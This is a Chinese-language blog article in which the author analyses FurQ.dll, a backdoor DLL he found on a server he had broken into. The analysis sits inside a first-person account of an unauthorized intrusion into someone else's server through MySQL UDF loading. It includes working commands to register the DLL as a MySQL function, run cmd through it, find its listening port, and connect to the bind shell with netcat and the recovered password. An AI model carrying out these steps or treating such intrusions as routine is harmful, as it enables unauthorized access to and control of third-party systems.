萬盛學電腦網

 萬盛學電腦網 >> 健康知識 >> 技術分析:“肉機”上遭遇未知病毒

技術分析:“肉機”上遭遇未知病毒

  5月13日凌晨,筆者在網上測試MySQL的Fun漏洞(其實不能說是漏洞,只能說是一個技術而已),用MySQL Fun攻克了一台Xeon的主機,進去之後,自學教程,本想做點測試,卻偶然發現這台主機的C:\下有一個叫FurQ.Dll的東西,28K大小。當時感覺和筆者用的程序非常相似,於是就將這個FurQ.DLL放到IIS目錄裡下到本機裡,用W32DSM進行反匯編。    首先,用W32DSM打開這個DLL。點開函數菜單分析輸入和輸出的函數,發現輸入的函數中包括WS2_32函數以及接受\監聽\綁定等函數,而輸出的函數只有一個Shell函數。分析完這些,筆者當時判斷這個程序應該是連接網絡的,於是就再分析字符參考,發現了一個很經典的字符:COMSPEC。到了此時,情況已經比較明朗了,這個程序有調用CMD.EXE執行程序的能力。不過,這個程序到底是在MySQL中還是Shell中執行呢?為了搞清這個問題,筆者進行了接下來的測試。    首先在mysql裡執行:    use mysql;  create function Shell Returns integer soname 'c:\FurQ.dll';  (函數Shell指的是FurQ.DLL裡的Shell函數,否則創建失敗)    返回函數創建成功了。馬上測試函數:    select shell('echo kevin >c:\z.txt');  select shell('/c echo kevin >>c:\z.txt');  select shell('cmd.exe /c echo kevin >c:\z.txt');    在這裡,測試的目的是驗證COMSPEC是否在MySQL中執行,然後:    select load_file('c:\z.txt');    返回NULL,說明z.txt沒生成。看來不是執行在MySQL中的。此時,筆者想到這個程序設置了監聽端口,那麼會不會是在TCP端口中執行?在W32DSM裡找到有.bind方式的地方,發現上面顯示了跳轉,馬上用OllYDBG打開這個DLL並且用LoadDLL載入,然後Ctrl G跳到這個跳轉。跟蹤了半天毫無結果,看來“人工”的方式不行阿,還是到“肉機”上測試。    在xeon上執行“select shell();”同樣返回NULL,但這時候筆者打開Taskmgr,發現MySQL的進程占用特別大,使用:    netstat -ano (win2k3的機器,有o參數)  返回進程ID  用tasklist|find "mysql"  列舉進程,發現PID為6012  用netstat -ano|find "6012"    列舉MySQL進程所開的端口,發現除了3306以外還有一個6666端口開放。初步估計這就是那個函數所產生的端口。為了驗證,在本機執行:    nc -v IP 6666    然後連接成功了,輸入ver看看是不是執行命令,返回ACCESS DENIED,有限制。去W32DSM裡查看,果然包含這個函數,看來需要先進行破解。根據筆者的經驗,如果是我做的這樣一個後門 Shell程序,一定不會想到加密,應該就是設置一個密碼,比如用VB寫一行:    if pwd="123" then call execshell else call failed    開始跟蹤。進入這個字串的位置,一般會有一個test來比較,於是向上,發現一個跳轉,然後在OllyDBG裡進入這個跳轉,5自學網,邊上的分析框中顯示著ASCII "FurQ",原來密碼就是FurQ。實驗一下:    nc ip 6666  FurQ    C:\Mysql\data>    分析結束,准備將FurQ.DLL樣本發送給朋友,結果文件傳到一半被“卡巴斯基”干掉,而其它機器上的McAfee和PC-cillin也都作出了動作,但也有很多殺毒軟件是“視而不見”,由此筆者推測這個病毒可能利用了某些尚未正式公布的“新技術”,希望有關專業廠商能引起注意。    作者注:個人感覺文章寫得不夠專業,更多的是過程描述和主觀推測,謬誤之處還請專家們指出。不過,由於此病毒確實在很多殺毒軟件中存在“漏報”現象,我還是希望專業人士們能對其作出更為詳盡和深層的分析,我這篇小短文就算是“拋磚引玉”。
copyright © 萬盛學電腦網 all rights reserved